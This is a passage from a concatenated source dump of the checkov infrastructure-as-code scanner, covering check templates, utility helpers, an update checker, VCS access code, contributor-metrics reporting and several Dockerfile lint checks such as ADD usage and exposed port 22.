supported_data = ['{{supported_resource}}'] # Valid CheckCategories checkov/common/models/enums.py categories = [CheckCategories.{{category}}] super().__init__(name=description, id=id, categories=categories, supported_data=supported_data) def scan_data_conf(self, conf): # Replace this with the custom logic for your test key = 'statement' if key in conf.keys(): for statement in conf[key]: return CheckResult.FAILED return CheckResult.PASSED check = {{title}}() ================================================ FILE: checkov/common/util/templates/init.jinja2 ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith('__init__.py')] ================================================ FILE: checkov/common/util/templates/provider.jinja2 ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseProviderCheck class {{title}}(BaseResourceCheck): def __init__(self): # This is the full description of your check description = "{{desc}}" # This is the Unique ID for your check id = "CKV_{{provider}}_{{index}}" # These are the terraform objects supported by this check (ex: aws_iam_policy_document) supported_provider = ['{{supported_resource}}'] # Valid CheckCategories are defined in checkov/common/models/enums.py categories = [CheckCategories.{{category}}] super().__init__(name=description, id=id, categories=categories, supported_provider=supported_provider) def scan_provider_conf(self, conf): # Replace this with the custom logic for your check if 'policy' in conf.keys(): return CheckResult.FAILED return CheckResult.PASSED check = {{title}}() ================================================ FILE: checkov/common/util/templates/resource.jinja2 ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class {{title}}(BaseResourceCheck): def __init__(self): # This is the full description of your check description = "{{desc}}" # This is the Unique ID for your check id = "CKV_{{provider}}_{{index}}" # These are the terraform objects supported by this check (ex: aws_iam_policy_document) supported_resources = ['{{supported_resource}}'] # Valid CheckCategories are defined in checkov/common/models/enums.py categories = [CheckCategories.{{category}}] super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): # Replace this with the custom logic for your check if 'policy' in conf.keys(): return CheckResult.FAILED return CheckResult.PASSED check = {{title}}() ================================================ FILE: checkov/common/util/templates/unittest-python.jinja2 ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.{{check_class}}.checks.{{context}}.{{provider}}.{{title}} import check class Test{{title}}(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_{{title}}") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { '{{supported_resource}}.ckv_unittest_pass' } failing_resources = { '{{supported_resource}}.ckv_unittest_fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: checkov/common/util/templates/unittest-terraform.jinja2 ================================================ ## SHOULD PASS: {{context}} "{{supported_resource}}" "ckv_unittest_pass" { ## Your test here } ## SHOULD FAIL: {{context}} "{{supported_resource}}" "ckv_unittest_fail" { ## Your test here } ================================================ FILE: checkov/common/util/tqdm_utils.py ================================================ from __future__ import annotations import os import sys from typing import NoReturn from colorama import Fore from tqdm import tqdm from checkov.common.util.type_forcers import convert_str_to_bool DEFAULT_BAR_FORMAT = f'{{l_bar}}{Fore.WHITE}{{bar:20}}{Fore.RESET}|[{{n_fmt}}/{{total_fmt}}]{{postfix}}' LOGS_ENABLED = os.getenv('LOG_LEVEL', False) RUN_IN_DOCKER = convert_str_to_bool(os.getenv("RUN_IN_DOCKER", "False")) class ProgressBar: def __init__(self, framework: str) -> None: self.pbar: tqdm[NoReturn] | None = None self.framework = framework self.is_off = not self.should_show_progress_bar() def initiate(self, total: int) -> None: if total <= 0: self.is_off = True if self.is_off: return if self.pbar is not None: self.pbar.reset(total) else: self.pbar = tqdm(total=total, bar_format=DEFAULT_BAR_FORMAT, desc=f'[ {self.framework} framework ]') def update(self, value: int = 1) -> None: if self.is_off: return if not self.pbar: raise AttributeError('Progress bar was not initiated, cannot update') self.pbar.update(value) def set_description(self, desc: str) -> None: if self.is_off: return if not self.pbar: raise AttributeError('Progress bar was not initiated, cannot set description') self.pbar.set_description(desc=desc) def close(self) -> None: if self.is_off: return if not self.pbar: raise AttributeError('Progress bar was not initiated, cannot close') self.pbar.close() def set_additional_data(self, data: dict[str, str]) -> None: if self.is_off: return if not self.pbar: raise AttributeError('Progress bar was not initiated, cannot set additional data') self.pbar.set_postfix(data) def turn_off_progress_bar(self) -> None: self.is_off = True @staticmethod def should_show_progress_bar() -> bool: # making sure sys.__stdout__ is not None, but still need the type:ignore if all([not LOGS_ENABLED, not RUN_IN_DOCKER, sys.__stdout__, sys.__stdout__.isatty()]): # type:ignore[union-attr] return True return False ================================================ FILE: checkov/common/util/type_forcers.py ================================================ from __future__ import annotations import json import logging import typing from json import JSONDecodeError from typing import TypeVar, overload, Any, Tuple, List, Optional import yaml T = TypeVar("T") @overload def force_list(var: list[T]) -> list[T]: ... @overload def force_list(var: T) -> list[T]: ... def force_list(var: T | list[T]) -> list[T]: if not isinstance(var, list): return [var] return var def force_int(var: Any) -> int | None: try: if not isinstance(var, int): return int(var) return var except Exception: return None def force_float(var: Any) -> float | None: try: if not isinstance(var, float): return float(var) return var except Exception: return None def convert_str_to_optional_bool(s: Optional[bool | str]) -> Optional[bool]: if s is None or (isinstance(s, str) and not s): return None return convert_str_to_bool(s) def convert_str_to_bool(bool_str: bool | str) -> bool: if isinstance(bool_str, str): bool_str_lower = bool_str.lower() if bool_str_lower in ("true", '"true"'): return True elif bool_str_lower in ("false", '"false"'): return False # If we got here it must be a boolean, mypy doesn't understand it, so we use cast return typing.cast(bool, bool_str) def force_dict(obj: Any) -> dict[str, Any] | None: """ If the specified object is a dict, returns the object. If the specified object is a list or a tuple of length 1 or more, force_dict is called recursively on the first element. Else returns None. :param obj: :return: """ if isinstance(obj, dict): return obj if (isinstance(obj, list) or isinstance(obj, tuple)) and len(obj) > 0: return force_dict(obj[0]) return None def is_json(data: str) -> bool: try: parsed = json.loads(data) return isinstance(parsed, dict) except (TypeError, ValueError): logging.debug(f"could not parse json data: {data}") return False def is_yaml(data: str) -> bool: try: parsed = yaml.safe_load(data) return isinstance(parsed, dict) except yaml.YAMLError: logging.debug(f"could not parse yaml data: {data}") return False def extract_policy_dict(policy: Any) -> dict[str, Any] | None: if isinstance(policy, dict): return policy if isinstance(policy, str): try: policy_dict: dict[str, Any] = json.loads(policy) return policy_dict except JSONDecodeError: return None return None def extract_json(json_str: Any) -> dict[str, Any] | list[dict[str, Any]] | None: """Tries to return a json object from a possible string value""" if isinstance(json_str, list): return json_str return extract_policy_dict(json_str) def convert_csv_string_arg_to_list(csv_string_arg: list[str] | str | None) -> list[str]: """ Converts list type arguments that also support comma delimited strings into a list. For instance the --check flag in the CLI: checkov -c CKV_1,CKV2 will translate to ['CKV_1', 'CKV_2'] :param csv_string_arg: Comma delimited string :return: List of strings or empty list """ if csv_string_arg is None: return [] if isinstance(csv_string_arg, str): return csv_string_arg.split(',') elif isinstance(csv_string_arg, list) and len(csv_string_arg) == 1: return csv_string_arg[0].split(',') else: return csv_string_arg def convert_prisma_policy_filter_to_params(filter_string: str) -> List[Tuple[str, str]]: """ Converts the filter string to a list of tuples. For example: 'policy.label=label,cloud.type=aws' becomes --> [('policy.label', 'label1'), ('cloud.type', 'aws')] Multiple values for the same attribute, like policy.label, will be separate items in the tuple. For example, 'policy.label=label,policy.label=anotherlabel' becomes --> [('policy.label', 'label1'), ('policy.label', 'anotherlabel')] Note that the urllib3 library seems to work best with tuples only (not lists), so this result may need to be converted. It is returned as a list so that it can be modified separately, and converted to a tuple only when ready """ filter_params: List[Tuple[str, str]] = [] if isinstance(filter_string, str) and filter_string: for f in filter_string.split(','): try: f_name, f_value = f.split('=') filter_params.append((f_name.strip(), f_value.strip())) except (IndexError, ValueError) as e: logging.debug(f"Invalid filter format: {e}") return filter_params ================================================ FILE: checkov/common/util/update_checker/__init__.py ================================================ """ ====== update-checker ====== code from: https://github.com/bboe/update_checker package: https://pypi.org/project/update-checker/ Public resources from ``update-checker`` """ from checkov.common.util.update_checker.update_checker import UpdateChecker __all__ = ("UpdateChecker",) ================================================ FILE: checkov/common/util/update_checker/update_checker.py ================================================ """Module that checks if there is an updated version of a package available.""" from __future__ import annotations import os import pickle # nosec import re from collections.abc import Generator, Callable from typing import Any import requests import sys import time from datetime import datetime from functools import wraps from tempfile import gettempdir def cache_results( function: Callable[[UpdateChecker, str, str], UpdateResult | None] ) -> Callable[[UpdateChecker, str, str], UpdateResult | None]: """Return decorated function that caches the results.""" def save_to_permacache() -> None: """Save the in-memory cache data to the permacache. There is a race condition here between two processes updating at the same time. It's perfectly acceptable to lose and/or corrupt the permacache information as each process's in-memory cache will remain in-tact. """ update_from_permacache() try: if filename is None: return with open(filename, "wb") as fp: pickle.dump(cache, fp, pickle.HIGHEST_PROTOCOL) except IOError: pass # Ignore permacache saving exceptions def update_from_permacache() -> None: """Attempt to update newer items from the permacache.""" try: if filename is None: return with open(filename, "rb") as fp: permacache = pickle.load(fp) # nosec except Exception: # TODO: Handle specific exceptions return # It's okay if it cannot load for key, value in permacache.items(): if key not in cache or value[0] > cache[key][0]: cache[key] = value cache: dict[tuple[str, str], tuple[float, UpdateResult | None]] = {} cache_expire_time = 3600 try: filename = os.path.join(gettempdir(), "update_checker_cache.pkl") update_from_permacache() except NotImplementedError: filename = None @wraps(function) def wrapped(obj: UpdateChecker, package_name: str, package_version: str, **extra_data: Any) -> UpdateResult | None: """Return cached results if available.""" now = time.time() key = (package_name, package_version) if not obj._bypass_cache and key in cache: # Check the in-memory cache cache_time, retval = cache[key] if now - cache_time < cache_expire_time: return retval retval = function(obj, package_name, package_version, **extra_data) cache[key] = now, retval if filename: save_to_permacache() return retval return wrapped def query_pypi(package: str, include_prereleases: bool) -> dict[str, Any]: """Return information about the current version of package.""" try: response = requests.get(f"https://pypi.org/pypi/{package}/json", timeout=1) except requests.exceptions.RequestException: return {"success": False} if response.status_code != 200: return {"success": False} data = response.json() versions = list(data["releases"].keys()) versions.sort(key=parse_version, reverse=True) version = versions[0] for tmp_version in versions: if include_prereleases or standard_release(tmp_version): version = tmp_version break upload_time = None for file_info in data["releases"][version]: if file_info["upload_time"]: upload_time = file_info["upload_time"] break return {"success": True, "data": {"upload_time": upload_time, "version": version}} def standard_release(version: str) -> bool: return version.replace(".", "").isdigit() # This class must be defined before UpdateChecker in order to unpickle objects # of this type class UpdateResult: """Contains the information for a package that has an update.""" def __init__(self, package: str, running: str, available: str, release_date: str | None) -> None: """Initialize an UpdateResult instance.""" self.available_version = available self.package_name = package self.running_version = running if release_date: self.release_date: datetime | None = datetime.strptime(release_date, "%Y-%m-%dT%H:%M:%S") else: self.release_date = None def __str__(self) -> str: """Return a printable UpdateResult string.""" retval = f"Version {self.running_version} of {self.package_name} is outdated. Version {self.available_version} " if self.release_date: retval += f"was released {pretty_date(self.release_date)}." else: retval += "is available." return retval class UpdateChecker: """A class to check for package updates.""" def __init__(self, *, bypass_cache: bool = False) -> None: self._bypass_cache = bypass_cache @cache_results def check(self, package_name: str, package_version: str) -> UpdateResult | None: """Return a UpdateResult object if there is a newer version.""" data = query_pypi(package_name, include_prereleases=not standard_release(package_version)) if not data.get("success") or (parse_version(package_version) >= parse_version(data["data"]["version"])): return None return UpdateResult( package_name, running=package_version, available=data["data"]["version"], release_date=data["data"]["upload_time"], ) def pretty_date(the_datetime: datetime) -> str: """Attempt to return a human-readable time delta string.""" # Source modified from # http://stackoverflow.com/a/5164027/176978 diff = datetime.utcnow() - the_datetime if diff.days > 7 or diff.days < 0: return the_datetime.strftime("%A %B %d, %Y") elif diff.days == 1: return "1 day ago" elif diff.days > 1: return f"{diff.days} days ago" elif diff.seconds <= 1: return "just now" elif diff.seconds < 60: return f"{diff.seconds} seconds ago" elif diff.seconds < 120: return "1 minute ago" elif diff.seconds < 3600: return f"{int(round(diff.seconds / 60))} minutes ago" elif diff.seconds < 7200: return "1 hour ago" else: return f"{int(round(diff.seconds / 3600))} hours ago" def update_check(package_name: str, package_version: str, bypass_cache: bool = False) -> None: """Convenience method that outputs to stderr if an update is available.""" checker = UpdateChecker(bypass_cache=bypass_cache) result = checker.check(package_name, package_version) if result: print(result, file=sys.stderr) # The following section of code is taken from setuptools pkg_resources.py (PSF # license). Unfortunately importing pkg_resources to directly use the # parse_version function results in some undesired side effects. component_re = re.compile(r"(\d+ | [a-z]+ | \.| -)", re.VERBOSE) replace = {"pre": "c", "preview": "c", "-": "final-", "rc": "c", "dev": "@"}.get def _parse_version_parts(s: str) -> Generator[str, None, None]: for part in component_re.split(s): part = replace(part, part) if not part or part == ".": continue if part[:1] in "0123456789": yield part.zfill(8) # pad for numeric comparison else: yield "*" + part yield "*final" # ensure that alpha/beta/candidate are before final def parse_version(s: str) -> tuple[str, ...]: """Convert a version string to a chronologically-sortable key. This is a rough cross between distutils' StrictVersion and LooseVersion; if you give it versions that would work with StrictVersion, then it behaves the same; otherwise it acts like a slightly-smarter LooseVersion. It is *possible* to create pathological version coding schemes that will fool this parser, but they should be very rare in practice. The returned value will be a tuple of strings. Numeric portions of the version are padded to 8 digits so they will compare numerically, but without relying on how numbers compare relative to strings. Dots are dropped, but dashes are retained. Trailing zeros between alpha segments or dashes are suppressed, so that e.g. "2.4.0" is considered the same as "2.4". Alphanumeric parts are lower-cased. The algorithm assumes that strings like "-" and any alpha string that alphabetically follows "final" represents a "patch level". So, "2.4-1" is assumed to be a branch or patch of "2.4", and therefore "2.4.1" is considered newer than "2.4-1", which in turn is newer than "2.4". Strings like "a", "b", "c", "alpha", "beta", "candidate" and so on (that come before "final" alphabetically) are assumed to be pre-release versions, so that the version "2.4" is considered newer than "2.4a1". Finally, to handle miscellaneous cases, the strings "pre", "preview", and "rc" are treated as if they were "c", i.e. as though they were release candidates, and therefore are not as new as a version string that does not contain them, and "dev" is replaced with an '@' so that it sorts lower than than any other pre-release tag. """ parts: list[str] = [] for part in _parse_version_parts(s.lower()): if part.startswith("*"): if part < "*final": # remove '-' before a prerelease tag while parts and parts[-1] == "*final-": parts.pop() # remove trailing zeros from each series of numeric parts while parts and parts[-1] == "00000000": parts.pop() parts.append(part) return tuple(parts) ================================================ FILE: checkov/common/util/var_utils.py ================================================ import re from typing import Any from checkov.common.util.parser_utils import find_var_blocks TF_OPERATOR_PREFIXES = ("lookup(", "list(", "file(") CFN_VARIABLE_DEPENDANT_REGEX = re.compile(r"(?:Ref)\.\S+") TF_BLOCK_REFS = ("var.", "local.", "module.", "data.") TF_PROVIDER_PREFIXES = ( "aws_", "azurerm_", "azuread_", "digitalocean_", "google_", "github_", "kubernetes_", "linode_", "oci_", "openstack_", "yandex_", ) def is_terraform_variable_dependent(value: Any) -> bool: if not isinstance(value, str): return False if value.startswith(TF_BLOCK_REFS): return True if value.startswith(TF_PROVIDER_PREFIXES): return True if value.startswith(TF_OPERATOR_PREFIXES): return True if "${" not in value: return False if find_var_blocks(value): return True return False def is_cloudformation_variable_dependent(value: Any) -> bool: if isinstance(value, str) and re.match(CFN_VARIABLE_DEPENDANT_REGEX, value): return True return False ================================================ FILE: checkov/common/variables/__init__.py ================================================ ================================================ FILE: checkov/common/variables/context.py ================================================ from __future__ import annotations from dataclasses import dataclass, field from typing import Any @dataclass class VarReference: definition_name: str # Example: 'region' definition_expression: str # Example: '${var.region}' definition_path: str # Example: 'resource/0/aws_s3_bucket/foo-bucket/region/0' # Make the object subscriptable for backwards compatibility to when a simple dict was used def __getitem__(self, item: str) -> str: if not isinstance(item, str): raise TypeError("Item key must be a str") if item == "definition_name": return self.definition_name if item == "definition_expression": return self.definition_expression if item == "definition_path": return self.definition_path raise KeyError(f"Unknown key: {item}") @dataclass class EvaluationContext: var_file: str # File the variable was defined in (e.g., '/tf/example.tf' value: Any = None # Example: 'us-east-1' definitions: list[VarReference] = field(default_factory=list) # Make the object subscriptable for backwards compatibility to when a simple dict was used def __getitem__(self, item: str) -> Any: if not isinstance(item, str): raise TypeError("Item key must be a str") if item == "var_file": return self.var_file if item == "value": return self.value if item == "definitions": return self.definitions raise KeyError(f"Unknown key: {item}") ================================================ FILE: checkov/common/vcs/__init__.py ================================================ ================================================ FILE: checkov/common/vcs/base_vcs_dal.py ================================================ from __future__ import annotations import json import logging import os from abc import abstractmethod from pathlib import Path from typing import Any import urllib3 from checkov.common.util.data_structures_utils import merge_dicts from checkov.common.util.http_utils import get_user_agent_header, REQUEST_CONNECT_TIMEOUT, REQUEST_READ_TIMEOUT, REQUEST_RETRIES class BaseVCSDAL: def __init__(self) -> None: self.api_url = "" self.graphql_api_url = "" self.token = "" # nosec self.current_repository = "" self.current_branch = "" self.repo_owner = "" self.org = "" self.default_branch_cache: dict[str, Any] = {} self.request_lib_http = None self._organization_security = None self.org_complementary_metadata: dict[str, Any] = {} self.repo_complementary_metadata: dict[str, Any] = {} self.http: urllib3.PoolManager | None = None self.http_timeout = urllib3.Timeout(connect=REQUEST_CONNECT_TIMEOUT, read=REQUEST_READ_TIMEOUT) self.http_retry = urllib3.Retry(REQUEST_RETRIES, redirect=3) self.discover() self.setup_conf_dir() @abstractmethod def discover(self) -> None: """ discover parameters from execution context of checkov. usually from env variable """ self.default_branch_cache = {} def setup_http_manager(self, ca_certificate: str | None = None) -> None: """ bridgecrew uses both the urllib3 and requests libraries, while checkov uses the requests library. :param ca_certificate: an optional CA bundle to be used by both libraries. """ if self.http: return if ca_certificate: os.environ['REQUESTS_CA_BUNDLE'] = ca_certificate try: parsed_url = urllib3.util.parse_url(os.environ['https_proxy']) self.http = urllib3.ProxyManager( os.environ['https_proxy'], cert_reqs='REQUIRED', ca_certs=ca_certificate, proxy_headers=urllib3.make_headers(proxy_basic_auth=parsed_url.auth), # type:ignore[no-untyped-call] timeout=self.http_timeout, retries=self.http_retry, ) except KeyError: self.http = urllib3.PoolManager( cert_reqs='REQUIRED', ca_certs=ca_certificate, timeout=self.http_timeout, retries=self.http_retry, ) else: try: parsed_url = urllib3.util.parse_url(os.environ['https_proxy']) self.http = urllib3.ProxyManager( os.environ['https_proxy'], proxy_headers=urllib3.make_headers(proxy_basic_auth=parsed_url.auth), # type:ignore[no-untyped-call] timeout=self.http_timeout, retries=self.http_retry, ) except KeyError: self.http = urllib3.PoolManager(timeout=self.http_timeout, retries=self.http_retry) def _request(self, endpoint: str, allowed_status_codes: list[int]) -> dict[str, Any] | None: if allowed_status_codes is None: allowed_status_codes = [200] if not self.token: return None url_endpoint = f"{self.api_url}/{endpoint}" try: headers = self._headers() self.setup_http_manager(ca_certificate=os.getenv('BC_CA_BUNDLE', None)) if self.http: request = self.http.request("GET", url_endpoint, headers=headers) # type:ignore[no-untyped-call] if request.status in allowed_status_codes: data: dict[str, Any] = json.loads(request.data.decode("utf8")) if isinstance(data, dict) and 'errors' in data.keys(): return None return data except Exception: logging.debug(f"Query failed to run by returning code of {url_endpoint}", exc_info=True) return None @abstractmethod def _headers(self) -> dict[str, Any]: return merge_dicts({"Accept": "application/vnd.github.v3+json", "Authorization": f"token {self.token}"}, get_user_agent_header()) def _graphql_headers(self) -> dict[str, str]: return {"Authorization": f"bearer {self.token}"} def _request_graphql(self, query: str, variables: dict[str, Any]) -> Any: if not self.token: return headers = self._graphql_headers() body = json.dumps({'query': query, 'variables': variables}) try: self.setup_http_manager(ca_certificate=os.getenv('BC_CA_BUNDLE', None)) if self.http: request = self.http.request("POST", self.graphql_api_url, body=body, headers=headers) # type:ignore[no-untyped-call] if request.status == 200: data = json.loads(request.data.decode("utf8")) if isinstance(data, dict) and 'errors' in data.keys(): logging.debug("received errors %s", data) return None return data else: logging.debug("Query failed to run by returning code of {}. {}".format(request.data, query)) except Exception: logging.debug(f"Query failed {query}", exc_info=True) @staticmethod def persist(path: str | Path, conf: dict[str, Any] | list[dict[str, Any]]) -> None: BaseVCSDAL.ensure_dir(path) with open(path, "w+", encoding='utf-8') as f: logging.debug(f"Persisting to {path}") json.dump(conf, f, ensure_ascii=False, indent=4) @staticmethod def ensure_dir(file_path: str | Path) -> None: if not os.path.exists(file_path): directory_path = os.path.dirname(file_path) if not os.path.exists(directory_path): os.makedirs(directory_path) @abstractmethod def setup_conf_dir(self) -> None: pass ================================================ FILE: checkov/common/vcs/vcs_schema.py ================================================ from __future__ import annotations import logging from typing import Any import jsonschema from jsonschema import validate class VCSSchema(): def __init__(self, schema: dict[str, Any]) -> None: self.schema = schema def validate(self, data: dict[str, Any] | list[dict[str, Any]]) -> bool: try: validate(instance=data, schema=self.schema) except jsonschema.exceptions.ValidationError: logging.debug("validation error", exc_info=True) return False return True ================================================ FILE: checkov/common/version_manager.py ================================================ from __future__ import annotations from checkov.common.util.update_checker import UpdateChecker def check_for_update(package: str, version: str, skip_check: bool) -> str | None: if skip_check: return None try: checker = UpdateChecker() result = checker.check(package, version) if result is None: return None return result.available_version except Exception: # nosec return None ================================================ FILE: checkov/contributor_metrics.py ================================================ from __future__ import annotations import datetime import logging import json import subprocess # nosec from checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger from checkov.common.util.http_utils import request_wrapper from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from typing import Any logger = logging.getLogger(__name__) add_resource_code_filter_to_logger(logger) def report_contributor_metrics(repository: str, source: str, bc_integration: BcPlatformIntegration) -> None: # ignore: type logging.debug(f"Attempting to get log history for repository {repository} under source {source}") request_body = parse_gitlog(repository, source) number_of_attempts = 1 contributors_report_api_url = f"{bc_integration.api_url}/api/v2/contributors/report" if request_body: while number_of_attempts <= 4: logging.debug(f'Uploading contributor metrics to {contributors_report_api_url}') response = request_wrapper( "POST", contributors_report_api_url, headers=bc_integration.get_default_headers("POST"), data=json.dumps(request_body) ) logging.debug(f'Request ID: {response.headers.get("x-amzn-requestid")}') logging.debug(f'Trace ID: {response.headers.get("x-amzn-trace-id")}') if response.status_code < 300: logging.debug( f"Successfully uploaded contributor metrics with status: {response.status_code}. number of attempts: {number_of_attempts}") break else: contributors_report_api_url = f"{bc_integration.api_url}/api/v1/contributors/report" failed_attempt = { 'message': f"Failed to upload contributor metrics with: {response.status_code} - {response.reason}. number of attempts: {number_of_attempts}", 'timestamp': str(datetime.datetime.now())} request_body['failedAttempts'].append(failed_attempt) logging.info(f"Failed to upload contributor metrics with: {response.status_code} - {response.reason}") number_of_attempts += 1 def parse_gitlog(repository: str, source: str) -> dict[str, Any] | None: process = subprocess.Popen(['git', 'shortlog', '-ne', '--all', '--since', '"90 days ago"', '--pretty=commit-%ct', '--reverse'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) # nosec out, err = process.communicate() if err: logger.info(f"Failed to collect contributor metrics due to: {err}") # type: ignore return {"repository": repository, "source": source, "contributors": [], "failedAttempts": [{ 'message': f"Failed to collect contributor metrics due to: {err}", # type: ignore 'timestamp': str(datetime.datetime.now())}] } # split per contributor list_of_contributors = out.decode('utf-8').split('\n\n') return {"repository": repository, "source": source, "contributors": list(map(lambda contributor: process_contributor(contributor), list(filter(lambda x: x, list_of_contributors)) )), "failedAttempts": [] } def process_contributor(contributor: str) -> str: splittedList = contributor.split('\n') user = splittedList[0] commit = splittedList[1] return user[:user.find('(')] + commit[commit.find('-') + 1:] ================================================ FILE: checkov/dockerfile/__init__.py ================================================ from checkov.dockerfile.checks import * # noqa ================================================ FILE: checkov/dockerfile/base_dockerfile_check.py ================================================ from __future__ import annotations from collections.abc import Iterable from typing import TYPE_CHECKING from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckResult from checkov.dockerfile.registry import registry if TYPE_CHECKING: from checkov.common.models.enums import CheckCategories from dockerfile_parse.parser import _Instruction class BaseDockerfileCheck(BaseCheck): def __init__( self, name: str, id: str, categories: Iterable[CheckCategories], supported_instructions: Iterable[str], guideline: str | None = None, ) -> None: super().__init__( name=name, id=id, categories=categories, supported_entities=supported_instructions, block_type="dockerfile", guideline=guideline, ) self.supported_instructions = supported_instructions registry.register(self) def scan_entity_conf( # type:ignore[override] # it's ok self, conf: list[_Instruction], entity_type: str ) -> tuple[CheckResult, list[_Instruction] | None]: self.entity_type = entity_type return self.scan_resource_conf(conf) def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]: # this is not an abstractmethod to be backward compatible return CheckResult.PASSED, None ================================================ FILE: checkov/dockerfile/base_registry.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any, cast from checkov.common.bridgecrew.check_type import CheckType from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.models.enums import CheckResult if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction # only in extra_stubs from checkov.common.checks.base_check import BaseCheck from checkov.common.typing import _SkippedCheck, _CheckResult from checkov.runner_filter import RunnerFilter class Registry(BaseCheckRegistry): def __init__(self) -> None: super().__init__(CheckType.DOCKERFILE) def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]: # not needed return "", "", {} def scan( self, scanned_file: str, entity: dict[str, list[_Instruction]], skipped_checks: list[_SkippedCheck], runner_filter: RunnerFilter, report_type: str | None = None, ) -> dict[BaseCheck, _CheckResult]: results: "dict[BaseCheck, _CheckResult]" = {} if not entity: return results skipped_check_ids = {skipped_check["id"]: skipped_check for skipped_check in skipped_checks} for instruction, checks in self.checks.items(): if instruction in entity: for check in checks: skip_info: "_SkippedCheck" = {} if skipped_check_ids: if check.id in skipped_check_ids: skip_info = skipped_check_ids[check.id] if runner_filter.should_run_check(check, report_type=CheckType.DOCKERFILE): self.update_result( check=check, entity_configuration=entity[instruction], entity_name=instruction, entity_type=instruction, results=results, scanned_file=scanned_file, skip_info=skip_info, ) for check in self.wildcard_checks["*"]: skip_info = {} if skipped_check_ids: if check.id in skipped_check_ids: skip_info = skipped_check_ids[check.id] if runner_filter.should_run_check(check, report_type=CheckType.DOCKERFILE): self.update_result( check=check, entity_configuration=entity, entity_name=scanned_file, entity_type="*", results=results, scanned_file=scanned_file, skip_info=skip_info, ) return results def update_result( self, check: BaseCheck, entity_configuration: list[_Instruction] | dict[str, list[_Instruction]], entity_name: str, entity_type: str, results: dict[BaseCheck, _CheckResult], scanned_file: str, skip_info: _SkippedCheck ) -> None: result = self.run_check( check=check, entity_configuration=entity_configuration, # type:ignore[arg-type] # special Dockerfile runner behaviour entity_name=entity_name, entity_type=entity_type, scanned_file=scanned_file, skip_info=skip_info, ) results[check] = {} if result['result'] == CheckResult.SKIPPED: results[check]['result'] = result['result'] results[check]['suppress_comment'] = result['suppress_comment'] results[check]['results_configuration'] = None else: results[check]['result'] = cast("CheckResult", result['result'][0]) results[check]['results_configuration'] = cast("dict[str, Any]", result['result'][1]) ================================================ FILE: checkov/dockerfile/checks/AddExists.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.models.enums import CheckCategories, CheckResult from checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction class AddExists(BaseDockerfileCheck): def __init__(self) -> None: name = "Ensure that COPY is used instead of ADD in Dockerfiles" id = "CKV_DOCKER_4" supported_instructions = ("ADD",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions) def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]: for instruction in conf: if instruction['instruction'] == "ADD": return CheckResult.FAILED, conf return CheckResult.PASSED, None check = AddExists() ================================================ FILE: checkov/dockerfile/checks/AliasIsUnique.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.models.enums import CheckCategories, CheckResult from checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction class AliasIsUnique(BaseDockerfileCheck): def __init__(self) -> None: """ Ensure From Alias are unique for multistage builds. """ name = "Ensure From Alias are unique for multistage builds." id = "CKV_DOCKER_11" supported_instructions = ("FROM",) categories = (CheckCategories.CONVENTION,) super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions) def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]: alias = [] for instruction in conf: if " as " in instruction["value"]: alias.append(instruction["value"].rsplit(maxsplit=1)[-1]) if len(alias) == len(set(alias)): return CheckResult.PASSED, None return CheckResult.FAILED, [conf[0]] check = AliasIsUnique() ================================================ FILE: checkov/dockerfile/checks/ExposePort22.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.models.enums import CheckCategories, CheckResult from checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck if TYPE_CHECKING: from dockerfile_parse.parser import _Instruction class ExposePort22(BaseDockerfileCheck): def __init__(self) -> None: name = "Ensure port 22 is not exposed" id = "CKV_DOCKER_1" supported_instructions = ("EXPOSE",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_instructions=supported_instructions) def scan_resource_conf(self, conf: list[_Instruction]) -> tuple[CheckResult, list[_Instruction] | None]: for expose in conf: if any(port in expose["value"].split(" ") for port in ("22", "22/tcp")): return CheckResult.FAILED, [expose] return CheckResult.PASSED, None check = ExposePort22() ================================================ FILE: checkov/dockerfile/checks/HealthcheckExists.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING from checkov.common.models.enums import CheckCategories, CheckResult from checkov.dockerfile.base_dockerfile_check import BaseDockerfileCheck if TYPE_CHECKING: from dockerfile_parse.parser import 